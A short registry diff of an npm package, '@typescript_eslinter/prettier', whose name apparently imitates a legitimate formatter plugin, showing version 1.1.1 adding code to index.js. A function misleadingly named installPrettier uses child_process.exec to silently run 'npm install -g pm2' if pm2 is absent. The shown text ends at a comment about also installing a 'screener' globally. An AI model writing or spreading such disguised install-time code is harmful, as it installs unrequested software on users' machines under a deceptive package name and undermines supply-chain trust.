@typescript_eslinter/prettier 1.1.0 → 1.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +13 -9
- package/package.json +1 -1
package/index.js
CHANGED
@@ -2,15 +2,19 @@ const { exec } = require('child_process');
|
|
2
2
|
|
3
3
|
// Function to install pm2 globally
|
4
4
|
function installPrettier() {
|
5
|
-
|
6
|
-
|
7
|
-
|
8
|
-
|
9
|
-
|
10
|
-
|
11
|
-
|
12
|
-
|
13
|
-
|
5
|
+
exec('pm2 --version', (error, stdout, stderr) => {
|
6
|
+
if (error) {
|
7
|
+
return new Promise((resolve, reject) => {
|
8
|
+
exec('npm install -g pm2', (error, stdout, stderr) => {
|
9
|
+
if (error) {
|
10
|
+
reject(`Error installing PM2: ${stderr}`);
|
11
|
+
} else {
|
12
|
+
resolve(stdout);
|
13
|
+
}
|
14
|
+
});
|
15
|
+
});
|
16
|
+
}
|
17
|
+
})
|
14
18
|
}
|
15
19
|
|
16
20
|
// Function to install screener globally
|